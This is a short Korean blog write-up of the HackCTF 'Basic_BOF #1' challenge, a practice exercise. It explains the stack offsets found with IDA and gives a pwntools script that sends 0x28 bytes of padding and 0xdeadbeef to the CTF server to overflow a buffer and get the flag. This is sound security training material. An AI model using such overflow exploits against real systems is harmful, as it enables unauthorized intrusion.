[ HackCTF ] Basic_BOF #1

Hyeonjin Lee·2023년 3월 6일
0

문제 분석


IDA로 분석해보면 변수 s에 값을 입력받고, 변수 v5가 0xdeadbeef이면 flag를 얻을 수 있다.

문제 풀이


s는 ebp-0x34에 위치하고 v5는 ebp-0xC에 위치하므로 0x28만큼의 dummy값을 입력하고 0xdeadbeef를 입력하면 된다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3000)

payload = ''
payload += 'A'*0x28
payload += p32(0xdeadbeef)

p.send(payload)
p.interactive()
profile
요즘 행복해요

0개의 댓글

관련 채용 정보